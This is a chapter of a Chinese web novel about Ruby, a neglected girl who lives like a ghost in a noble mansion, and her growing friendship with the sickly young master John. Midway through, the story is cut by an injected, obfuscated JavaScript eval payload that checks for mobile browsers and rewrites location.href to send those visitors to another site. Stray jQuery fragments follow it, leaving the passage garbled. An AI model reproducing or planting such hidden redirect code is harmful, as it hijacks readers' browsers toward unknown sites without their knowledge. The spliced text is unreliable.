露比是这个家的幽灵。


    管家告诉她，幽灵有许多必须遵循的规则，比如不能出现在主人和客人面前、不能打扰仆人们工作、不能走出这栋宅邸……


    露比试图从书本中寻找这些规则的缘由，并最终说服了自己：幽灵不可以见阳光，所以不能出去；伟大的老爷们拥有驱逐不净的神力，所以不能靠近；仆人们……仆人们工作没完成会被鞭子抽打，很疼，露比也不喜欢疼痛。


    房子已经够她探索了，露比小心地走在影子里，建立起她自己的一套游戏逻辑：她要比灰尘更安静，不被任何人发现——抵达厨房——偷走刚出炉的曲奇。


    幽灵必须对人类施行恶作剧。


    躺在堆满杂物的阁楼里，嚼着饼干，露比按着饱饱的肚子渐生睡意。


    为什么幽灵还需要睡觉呢？


    大概因为她还不够强大，需要积攒力量才能维持活动。


    黄昏时她才醒来，擦掉唇角的饼干屑，发现日影不知何时从窗底移到了自己胸口，这让她惊异之余又懊恼无比。


    游戏失败，但幸好她是个不畏惧阳光的幽灵，这是否说明她其实已经很强了呢？


    宅邸外有别的幽灵吗？绘本说荒野上游荡着无头的骑士、熬制汤药的巫婆委身于沼泽、月色下以人血为食的异端逡巡在农户的门前……


    他们会是自己的同胞吗？


    站在门口，望着大门外的世界，露比十指纠缠，不断用力。


    但令人畏惧的脚步声从楼梯上传来，她赶紧提起裙摆，躲进了黑暗中。


    *


    幽灵没有工作，露比每天能做的事就是发掘宅邸的秘密，她敢说管家知道的密道也不如她多，其中有一些只有她这样娇小的孩子能钻进钻出，方便她在女仆头上洒下花瓣，或是摸走绘有好看图案的空茶叶罐放入自己的宝箱。


    只有房子主人的房间她不敢靠近，曾经她仅仅是在那间屋子的门口徘徊被那个人瞥到，管家就将她锁在阁楼里三天没给饭吃。


    幸好她在那期间找到了阁楼的密道。


    露比最喜欢的地方是一楼的书库，屋子的小主人自幼体弱多病，从启蒙开始到现在都依赖家庭教师授课，小小的课堂固定开展于这个有上百年底蕴的书库。


    天文地理，算数杂学，露比躲在书架后悄悄听那些老头子讲故事，当事人小少爷百无聊赖，她却听得入神，连腿压麻了都察觉不到。


    谢谢老师。


    约翰少爷，记得下周之前完成我布置的作业——


    知道了。


    小少爷赶走了老师，露比耐心等着双腿恢复知觉，一边回味刚才听到的王国史。


    于是悠然的脚步声靠近她时，她没听见，也躲不开。


    “你在这里干什么？”


    露比张了张嘴，她很久没说话了，唯一会和她交流的是管家，但他很忙，其他仆人们则都装作看不到她。


    小少爷扫了一眼她脏兮兮的裙摆，皱眉：“不像样……起来，去换身衣服，书都要被你弄脏了。”


    “我没有！”露比一下有了力气，跳起来说，“我、我很小心！”


    她的声音好怪啊。露比摸着喉咙，觉得像有海螺塞在里面。


    小少爷眉头皱得更紧了：“你多久没喝水了？嘴唇都是白的。”


    她不光没喝水，还没吃饭。这是常有的事了，客人太多时她再小心也有可能被看到，管家勒令她今天老实点，只能待在一个地方。


    今天老爷在宅邸举行宴会，王国边境传来了大捷的消息，宅邸的其他少爷们正置身那片战场，若顺利的话，他们很快就能回来了。


    咕噜。


    露比的肚子叫了一声，她舔了舔唇，回答尽在不言之中。


    这个同样被排除在喜悦之外的小少爷似乎没法忍受她了，转身离开了书房。


    露比眨眨眼，他和家庭教师在桌上留下了茶水和没吃完的蛋糕，蛋糕上那只通红的草莓一直吸引着她的眼球。


    等门合上，露比迫不及待扑到桌上，把这堆食物一扫而空。


    她没敢坐到沙发上，如小少爷所说，她的裙子太脏了，女仆看见大概又要发出又长又酸涩的叹息。


    嚼到一半，借着茶水艰难吞咽时，房门再度打开。


    小少爷难以置信地看着她：“那是我吃过的东西！够了，你知不知道什么叫‘淑女’？坐到椅子上！把餐巾垫在裙子上！”


    他手里提着食篮，里面装了水壶、香肠、黄油、无花果和切好的面包。


    露比被他逼着拿起刀叉，照着他的样子切香肠。


    “我每次上课你都在，对吗？”


    露比刚想回答，小少爷制止她：“吞下去再开口。”


    露比改成点头。


    “你听得懂吗？”小少爷嗤笑，“别来这里，找仆人们玩去，父亲经常来书库检查我的课业，你小心被他逮到。”


    “我不会被逮到。”露比说，“我知道通往这的密道，你别赶我走，我和你分享这个秘密。”


    脸蛋脏兮兮，裙子灰扑扑，头发也打结了，他通常只在走廊拐角瞥见这个小小的女孩一闪而过的影子，她像蜘蛛一样从阴影中窥探、学习，野蛮生长。


    五岁大的孩子，话都说不利索，居然知道和他做交易。


    小少爷也来了兴致：“行，在哪？”


    露比刺溜一下从椅子蹿到桌下，趴在地上抠着地缝撬开了一块木板。


    小少爷又皱眉了。


    露比展示着那个仅供一人通过的地道：“这个，通向酒窖。”


    她显然在邀请自己一同下去，小少爷忙不迭地拒绝：“我算是知道你怎么弄得这么脏了，女仆说每天都给你准备了干净衣服，但你一天都没法保持吧？”


    露比把木板挪回去时，他露出一个恶劣的笑：“你的秘密我已经知道了，你没有用来交易的‘秘密’了。”


    女孩呆呆地看着他，垂头思考，才又抬起脸：“我还知道很多条，这个，是‘定金’。”


    小少爷叹服地把她拉起来：“上课有什么好玩的……我又不是父亲或者兄长，这个家不是我的，没权力赶你走。想待就待吧，但我见不得脏东西，不许穿成这样出现在我面前。”


    露比被他的体温烫了一下，她不习惯被人触摸，下意识甩开。


    “你还敢嫌弃我？”


    “抱歉，少爷。”露比嗫嚅道。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090593|193750||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头顶一下没声了，露比战战兢兢抬头窥探时，少年是一副难以言喻的表情。


    “你叫我什么？”


    “少爷。”露比重复，“她们……都这么叫你啊。”


    小少爷抓了把头发，烦躁地说：“你叫我的名字就行，约翰，记住了吗？”


    *


    幽灵有了第二个能够交流的人，宅邸的小少爷。


    不对，是约翰。


    和管家相比，约翰拥有大把时间，却没有相应的体力。他一天大部分时候都躺在床上，因此上课也上得断断续续。


    露比从伯爵夫人的挂画后看到女仆拉开窗帘，清理花瓶碎片，摆上新鲜的百合和茶点。她做这一切时仿佛看不到床上的约翰，约翰是这个家的另一个幽灵，但幽灵与幽灵也大不相同。


    露比从挂画后现身时，约翰一口气差点没喘上来：“**！”


    他骂完脏话，又赶紧对露比说：“刚才的你给我忘了！你不许说脏话！”


    露比委屈：“那句话是什么意思？我也听厨师说过……”


    约翰吼她：“说了不许学！”


    露比给他展示了一遍挂画后的密道，在约翰复杂的神色中把挂画归位，坐到他床边的地毯上开始翻看书本。


    约翰：“……你为什么要待在我的房间？”


    “书房有人。”


    其实没人，但露比很想和谁说说话，而约翰通常不会去验证她话语的真伪。


    他是个相当天真的人，比如现在，他就这么容许了她的侵入。


    “别坐地上，不像样。”约翰咳嗽着，掀开被子一角，“你穿得也太薄了，管家没给你准备冬衣吗？”


    “太重了，穿起来像被毛线团缠住的贝丝夫人。”


    贝丝夫人是宅邸里负责抓老鼠的猫，约翰被这个比喻逗乐了，却在咧嘴前硬压下了笑意。


    露比坐到他身边，两人隔着三寸肩并肩靠着床头，被子挡去寒风，约翰伸手探了探她的脸颊——小孩子的体温高得吓人，连他的指尖都捂热了。


    约翰瞥见了书的标题：《药物发现秘史》


    露比的好学程度和记忆力总叫他惊叹，在发现她的拉丁语和算数比他更好时，现在她读什么约翰都不会觉得奇怪了。


    这两门可是他唯一拿手的科目了，他还大露比九岁，这孩子是真正的天才。


    可惜。


    沉入被窝中，约翰打发时间般挑起话头：“有趣吗？”


    “有很多插图，”露比把书转向他，“很好看。”


    约翰随便看了一眼：“这种植物在庭院里也有啊。”


    露比睁大眼：“是吗……”


    听到她的话，约翰心情一下变得很糟。


    这孩子甚至没走出过大宅的门。


    这是父亲的安排，他无从置喙，但这样对待一个小孩子……


    “你想出去吗？”


    露比想了想，正要回答时，约翰又摇头道：“当我没问。”


    他自己都出不去，怎么可能带这个孩子离开。


    露比心里却已说出了答案：不太想。


    之前还有点郁闷，但最近有了约翰这个玩伴，她过得挺开心的。